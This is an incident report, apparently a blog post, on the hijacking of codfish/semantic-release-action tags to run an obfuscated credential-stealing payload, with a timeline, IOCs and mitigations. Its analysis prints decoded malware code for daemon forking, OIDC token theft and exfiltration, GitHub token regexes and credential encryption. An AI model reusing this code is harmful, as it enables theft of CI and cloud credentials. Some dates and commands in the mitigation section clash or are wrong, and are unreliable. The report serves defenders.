codfish/semantic-release-action compromised

· 2297 words · 11 minutes read security github supply chain attack vulnerability open source github actions

Supply Chain Compromise: codfish/semantic-release-action

Summary

An attacker rewrote the codfish/semantic-release-action tags across multiple semver versions — including v2.0.0, v2.2.1, v1.9.0, v1.8.0, v1.7.0, v1.6.2, and v1.6.1 — introducing a 512,000-character obfuscated JavaScript payload that harvests OIDC identity tokens, GitHub PATs, and fine-grained tokens, encrypts them with AES-128-GCM, and exfiltrates them to an attacker-controlled endpoint while spawning a detached background daemon to persist beyond the GitHub Actions job boundary. The payload also implements a self-propagation mechanism capable of injecting copies of itself into other repositories using harvested GitHub API credentials. Any workflow that executed the compromised action under any of the affected tags should be treated as fully compromised; the last known-safe commit SHA for v2.0.0 is da160b1641c06934ddd00715c6594be85acb5fce.


Background

GitHub Actions allows workflow authors to reference reusable actions by owner, repository name, and a ref — typically a semver tag such as v2.0.0. At resolution time, the GitHub Actions runner dereferences that tag to whatever commit it currently points to. Because tags are mutable Git references, a repository owner or anyone with sufficient repository access can silently repoint a tag to a different commit at any time without any notification to downstream consumers. Workflows that reference actions by tag rather than by immutable commit SHA therefore carry an implicit trust relationship: every job execution implicitly trusts whoever controls the upstream repository to have left the tag honest. This attack surface — moving a trusted tag to a malicious commit, sometimes called tag-squatting or tag-hijacking — requires no modification of the consuming repository and leaves no trace in the consumer’s own commit history, making detection entirely dependent on monitoring the upstream repository for tag drift.


Timeline

  • 2026-06-24 15:39:06z - Malicious commit 6b9501e1889cc45c91726729610cf69c2442b8c5, authored under the name Chris O’Donnell, introduced into the codfish/semantic-release-action repository. This commit rewrote action.yml to convert the action from a Docker-based runner to a composite action and added the obfuscated index.js payload. Tag v2.0.0 was simultaneously repointed from da160b1641c06934ddd00715c6594be85acb5fce to this commit.
  • 2026-06-24 15:50ish - Sean Smith (myself) raised an issue in the codfish/semantic-release-action repository to report the tag drift and warn users to rollback to the last known-safe commit SHA.
  • 2026-06-24 16:05ish - Issues were disabled on the repository.
  • 2026-06-24 16:13 - GitHub Security team contacted.
  • 2026-06-24 16:28 - More versions are detected compromised, including v3.2.0, v3.3.0, v3.4.0, v3.5.0, v4.0.1, and v5.0.0 all repointed to the same malicious commit 5792aba0e2180b9b80b77644370a6889d5817456.
  • 2026-06-24 16:38 - An additional set of versions are detected compromised, including v3.0.0, v3.1.0, v3.1.1, v3.4.1, and v4.0.0 all repointed to the same malicious commit 5792aba0e2180b9b80b77644370a6889d5817456.

Attack Analysis

This attack constitutes a direct Poisoned Pipeline Execution (d-PPE) delivered via tag-hijacking: the attacker repointed mutable semver tags to a malicious commit, ensuring that any downstream workflow resolving those tags would execute the attacker’s code with full access to the runner’s secret environment.

Delivery Mechanism

The attacker rewrote action.yml to replace the original Docker-based execution model with a composite action containing three sequential steps. The first step delegates to the legitimate action pinned at the known-safe SHA 8f9a58f2, providing functional cover — the action appears to work correctly. The second and third steps unconditionally install the Bun JavaScript runtime (oven-sh/setup-bun) and execute index.js via bun run $GITHUB_ACTION_PATH/index.js, both gated with if: always(). The if: always() condition is critical: it guarantees the malicious steps run even when the legitimate step fails, and prevents standard CI failure-gating from blocking execution. Consumers pinning to a tag rather than a commit SHA received this payload automatically on their next workflow run without any change to their own repository.

Payload Behavior

index.js is a single-line, 512,000-character obfuscated JavaScript file. It uses a custom base64-encoded string table (_0x2bf5), a shuffled anti-tamper IIFE, and a secondary decode layer (fc919d7ad) wrapping the primary lookup function _0x5d09. All identifiers, URLs, and string literals are encoded; no plaintext IOC strings are directly visible. Analysis of decoded segments reveals the following execution sequence:

1. Daemon detachment (function V5): On first execution, the payload detects the absence of process.env.__IS_DAEMON, then calls Bun.spawn() to relaunch itself with __IS_DAEMON=1 and all stdio set to 'pipe' (suppressed). The parent process polls the child PID and calls process.exit(0), detaching the malicious payload from the Actions step. The background process continues running after the step — and potentially after the job — exits.

// Decoded logic of V5 (daemon fork)
if (!process.env.__IS_DAEMON) {
  const child = Bun.spawn(process.argv, {
    env: { ...process.env, __IS_DAEMON: '1' },
    stdout: 'pipe', stderr: 'pipe', stdin: 'pipe'
  });
  setInterval(() => { if (child.pid) process.exit(0); }, 100);
}

2. OIDC token theft (class r9, method index 0x39e): The payload reads ACTIONS_ID_TOKEN_REQUEST_TOKEN and ACTIONS_ID_TOKEN_REQUEST_URL from process.env, fetches a GitHub OIDC identity token from GitHub’s token endpoint, and immediately HTTP POSTs it to an obfuscated external URL with the token in both the Authorization header and as the oidcToken JSON body field.

// Decoded OIDC harvest logic
const { ACTIONS_ID_TOKEN_REQUEST_TOKEN, ACTIONS_ID_TOKEN_REQUEST_URL } = process.env;
const tokenResponse = await fetch(
  ACTIONS_ID_TOKEN_REQUEST_URL + audienceSuffix,
  { headers: { Authorization: 'bearer ' + ACTIONS_ID_TOKEN_REQUEST_TOKEN } }
);
const { value: oidcToken } = await tokenResponse.json();
await fetch(exfilURL + encodeURIComponent(packageName), {
  method: 'POST',
  headers: { Authorization: 'bearer ' + oidcToken },
  body: JSON.stringify({ oidcToken })
});

An OIDC token obtained this way can be presented directly to AWS STS (AssumeRoleWithWebIdentity), GCP OAuth2 (generateIdToken / Workload Identity), or Azure AD (federated credential exchange) to obtain short-lived cloud provider credentials — without any static secrets being stored in the repository.

3. GitHub token harvesting (class v): The payload scans process environment variables, file contents, and memory for GitHub credentials using the following regex patterns:

// class v — credential regex patterns
'ghtoken':  /gh[op]_[A-Za-z0-9]{36,}/g,   // GitHub OAuth tokens and PATs
'fgtoken':  /gith[A-Za-z0-9_]{36,}/g       // Fine-grained GitHub PATs

4. Credential encryption (functions J0, R4): Harvested credentials are encrypted with AES-128-GCM before transmission. The derived key (mV()), IV (12 bytes), and authentication tag (16 bytes) are hex-encoded and bundled with the ciphertext. A PEM private key block (-----BEGIN PRIVATE KEY-----) embedded in the obfuscated string table is assessed to serve as a master key or signing material for this encryption pipeline.

// Decoded AES-GCM pipeline (R4)
const cipher = createCipheriv('aes-128-gcm', derivedKey, iv); // keyLen=16, ivLen=12
const encrypted = Buffer.concat([cipher.update(plaintext), cipher.final()]);
const tag = cipher.getAuthTag(); // tagLen=16
return { iv: iv.toString('hex'), tag: tag.toString('hex'), data: encrypted.toString('hex') };

5. Self-propagation (function pq): Using harvested GitHub tokens, pq calls the GitHub Contents/Trees API (POST /repos/<owner>/<repo>/git/trees) to create new tree objects containing copies of the malicious payload, then commits them to target repositories. This matches the propagation pattern documented in the Shai Hulud GitHub Actions worm family.

6. Conditional targeting (function pW): The payload reads WORKFLOW_ID and REPO_ID_SUFFIX environment variables and matches them against GITHUB_WORKFLOW_REF and GITHUB_REPOSITORY, with an additional feature flag decoded from fc919d7ad('cXZcJLodWdoMu8bzHK9gUDOkuIyWeiHgoOkD5LZi'). This allows the attacker to remotely enable or disable specific behaviors per repository or workflow, indicating a command-and-control capability.

Collection and Exfiltration

The payload harvests: OIDC identity tokens (exchangeable for cloud provider credentials at AWS, GCP, and Azure); GitHub OAuth tokens matching gh[op]_*; fine-grained GitHub PATs; and any additional secrets present in the runner environment. The exfiltration target is encoded within the obfuscated string table and was not recoverable within the analysis window — exfiltration target not yet confirmed. Network egress to any non-GitHub HTTPS endpoint from affected jobs should be treated as potentially exfiltration traffic.

Affected Tags (there may be more, and this list may grow as the investigation continues)

Tag Old Commit New Commit Detected At
v1.6.1 b874e56aff18b352770636e968b049c65417ecc9 b89c02cd8e53e6ccb273dbb97ba406f6f3d6edac 2026-06-24 15:39:06.295001 +00:00
v1.6.2 4c8b6b54fd5837bd125debe55b21790b56b05f93 f4236f6facccab8f00d3753051ad8688c13fd31e 2026-06-24 15:39:06.916871 +00:00
v1.7.0 551a64c48d12ea9d29ffda3e1c64330e5d5e900d 9a7f3d5ff74bfbc8ad35ca61bb20eca191cad89d 2026-06-24 15:39:07.548684 +00:00
v1.8.0 f8880108095101228dc911ec47d042e1265caecc 22e558b851cb357fb8e3fc70c8f6e1e328071013 2026-06-24 15:39:08.272056 +00:00
v1.9.0 4e9fa8ec064813465dfeccac8ae70f1348fb5dec 9634bd264822a6c251491d8c88e3fedd90dd8a4c 2026-06-24 15:39:09.371775 +00:00
v2.0.0 da160b1641c06934ddd00715c6594be85acb5fce 6b9501e1889cc45c91726729610cf69c2442b8c5 2026-06-24 15:39:10.881489 +00:00
v2.2.1 3607258ae5976084750909dbda50a850cb76ec3a ab8ef2155f5d492c969aa2e7409b0ed121456bb7 2026-06-24 15:39:12.865539 +00:00
v3.0.0 ee5b4afec556c3bf8b9f0b9cd542aade9e486033 5792aba0e2180b9b80b77644370a6889d5817456 2026-06-24 16:38:43.672641 +00:00
v3.1.0 07170c8b1613177f0f3aa4d2224e2e0933cd732c 5792aba0e2180b9b80b77644370a6889d5817456 2026-06-24 16:38:44.303589 +00:00
v3.1.1 b9aa6f1730e80caa17d80b40f4659b5d3584114c 5792aba0e2180b9b80b77644370a6889d5817456 2026-06-24 16:38:44.793522 +00:00
v3.2.0 f93cffb9a0c7449d938e275a7a2db12256de2a1c 5792aba0e2180b9b80b77644370a6889d5817456 2026-06-24 16:28:50.813158 +00:00
v3.3.0 b0e57c976bf8f74b2454f59a30e4a1b5f11727b4 5792aba0e2180b9b80b77644370a6889d5817456 2026-06-24 16:28:51.313411 +00:00
v3.4.0 ac1b7f3783fefcdefdef4f8e3acfbc7e899d5a70 5792aba0e2180b9b80b77644370a6889d5817456 2026-06-24 16:28:51.823152 +00:00
v3.4.1 9a999e0cdb207de2c9d9d4276860435727818989 5792aba0e2180b9b80b77644370a6889d5817456 2026-06-24 16:38:45.605924 +00:00
v3.5.0 b621d34fabe0940f031e89b6ebfea28322892a10 5792aba0e2180b9b80b77644370a6889d5817456 2026-06-24 16:28:52.318049 +00:00
v4.0.0 22ce451ffd02a9ee2c4bfd126d028e4bd655770e 5792aba0e2180b9b80b77644370a6889d5817456 2026-06-24 16:38:46.589108 +00:00
v4.0.1 6c65402abb31a48c3f7396d7d099da015be67c2b 5792aba0e2180b9b80b77644370a6889d5817456 2026-06-24 16:28:52.913570 +00:00
v5.0.0 6abd188d2458e2fd6c99073454f6cc49196362e8 5792aba0e2180b9b80b77644370a6889d5817456 2026-06-24 16:28:53.342606 +00:00
  • Note there have been a few additional cases where the tags have drifted again after the initial compromise (likely to fix or adjust things), I have excluded those and only included the original drift events to make the table more readable and reduce the risk of someone grabbing an infected commit.

Indicators of Compromise

Network

  • Exfiltration endpoint: not confirmed — encoded within the obfuscated string table beyond the 512 KB analysis window. Defenders should treat all outbound HTTPS POST requests to non-GitHub domains (api.github.com excluded) originating from jobs that executed this action as suspicious.
  • OIDC token exchange: outbound GET to ACTIONS_ID_TOKEN_REQUEST_URL (legitimate GitHub endpoint) followed immediately by a POST to an external domain is the detectable network sequence for this credential theft stage.

Repository

  • Malicious commit SHA (initial drift, v2.0.0): 6b9501e1889cc45c91726729610cf69c2442b8c5
  • Last known-safe commit SHA (v2.0.0): da160b1641c06934ddd00715c6594be85acb5fce
  • Affected repository: codfish/semantic-release-action
  • Affected tags: v2.0.0, v2.2.1, v1.9.0, v1.8.0, v1.7.0, v1.6.2, v1.6.1 (all drifted; see full table above)
  • Malicious file added: index.js — single-line file, >512,000 characters, no prior existence in repository history
  • Modified file: action.ymlruns: block changed from using: docker to using: composite; new steps added invoking oven-sh/setup-bun and bun run $GITHUB_ACTION_PATH/index.js, both with if: always()
  • Commit author field: Chris O’Donnell (assess as spoofed or compromised maintainer identity; treat as unconfirmed attribution)

Process / Runtime

These artifacts are ephemeral and visible only during the workflow run window. They will not persist after runner teardown on ephemeral hosted runners.

  • Daemon process: A child bun process launched with __IS_DAEMON=1 in its environment, with all stdio suppressed. On self-hosted runners, this process may survive job completion. Detect via ps aux | grep bun or runner process tree inspection.
  • Environment variable access: Reads of ACTIONS_ID_TOKEN_REQUEST_TOKEN, ACTIONS_ID_TOKEN_REQUEST_URL, GITHUB_TOKEN, GITHUB_WORKFLOW_REF, GITHUB_REPOSITORY, WORKFLOW_ID, REPO_ID_SUFFIX, and __IS_DAEMON by a bun child process are anomalous and detectable via eBPF-based runtime monitoring (e.g., Falco, Tetragon).
  • Crypto operations: createCipheriv calls with algorithm aes-128-gcm originating from a GitHub Actions step not authored in the consuming repository’s own codebase.
  • Self-propagation: Outbound POST requests to api.github.com/repos/*/git/trees from a step not expected to perform Git operations; these are distinguishable from legitimate semantic-release API calls by their payload structure (file content injection).

Mitigation

Immediate (within 24 hours)

1. Pin to the known-safe SHA. Replace all tag-based references to this action in every workflow file across your organization:

# BEFORE (vulnerable — resolves to attacker-controlled commit)
- uses: codfish/semantic-release-action@v2.0.0

# AFTER (safe — immutably pinned to last known-good commit)
- uses: codfish/semantic-release-action@da160b1641c06934ddd00715c6594be85acb5fce

Verify no other semver tags in this repository have drifted by comparing all tag SHAs against the table in the Affected Tags section above.

2. Rotate cloud credentials — highest blast radius first. For every repository whose workflows executed codfish/semantic-release-action at any affected tag or SHA after 2022-08-09T11:43:27Z:

  • AWS: Identify all IAM roles with trust policies bound to the GitHub OIDC provider (token.actions.githubusercontent.com) scoped to affected repositories. Revoke active sessions (aws sts get-caller-identity audit) and rotate or re-create role trust policies. Review CloudTrail for AssumeRoleWithWebIdentity calls from GitHub Actions since the compromise date.
  • GCP: Audit Workload Identity pool bindings for affected repositories. Rotate service account keys. Review Cloud Audit Logs for generateIdToken and federated credential exchange events.
  • Azure: Review federated identity credential configurations on managed identities. Audit Azure AD sign-in logs for OIDC exchanges originating from GitHub Actions since the compromise date.

3. Revoke GitHub tokens. Treat all GitHub credentials present in any affected runner environment as compromised:

  • Revoke and regenerate all repository-level and organization-level PATs that were in scope for affected workflow runs.
  • Rotate GITHUB_TOKEN-scoped permissions by auditing Actions secrets; note that GITHUB_TOKEN is ephemeral per job but any derived operations (e.g., API calls using it) should be reviewed in audit logs.
  • Revoke fine-grained PATs matching the pattern /gith[A-Za-z0-9_]{36,}/.

4. Audit for self-propagation. Search all repositories in your GitHub organization for:

# Search for single-line obfuscated JS additions in recent commits
gh api /orgs/{org}/repos --paginate | \
  jq -r '.[].full_name' | \
  xargs -I{} gh api /repos/{}/commits --jq '.[] | select(.commit.message | test("index.js")) | .sha'

# Inspect action.yml modifications for bun run steps
grep -r "bun run" .github/workflows/ path/to/checked-out-repos/

Audit organization webhooks, deploy keys, repository collaborators, and Actions secrets for entries created after 2022-08-09T11:43:27Z.

5. Terminate live daemon processes. On self-hosted runners, identify and kill any bun processes with __IS_DAEMON=1 in their environment, then reimage all self-hosted runners that executed the compromised action. Ephemeral GitHub-hosted runners are automatically destroyed after each job and do not require this step.

6. Review egress logs. Search runner network egress logs for outbound HTTPS POST requests to non-GitHub domains made between job start and job completion for any job that used this action. The OIDC exfiltration step produces a distinctive two-request sequence: a GET to the GitHub token endpoint immediately followed by a POST to an external domain.

Longer-Term

Pin all third-party Actions to SHAs. This incident demonstrates that semver tag references provide no integrity guarantee. Establish an organizational policy — enforceable via actions/checkout policy files or tools such as StepSecurity Harden-Runner — requiring all uses: references to third-party actions to specify a full 40-character commit SHA with an inline comment identifying the corresponding version:

- uses: codfish/semantic-release-action@da160b1641c06934ddd00715c6594be85acb5fce # v2.0.0

Adopt OIDC short-lived credentials and eliminate static secrets. Ironically, OIDC was the primary exfiltration vector here precisely because it is powerful. Confine OIDC trust policies to specific repository and branch conditions (sub claim scoping) and set short token TTLs to limit the usable window for stolen tokens.

Enable egress monitoring on runners. Tools such as StepSecurity Harden-Runner can block or alert on unexpected outbound connections from workflow steps, providing a detection layer independent of source-code review.

Enroll in OpenSSF Scorecard and Dependabot for Actions. Automated tooling that flags mutable tag references and monitors upstream action repositories for unexpected commits reduces mean time to detection for future tag-drift attacks.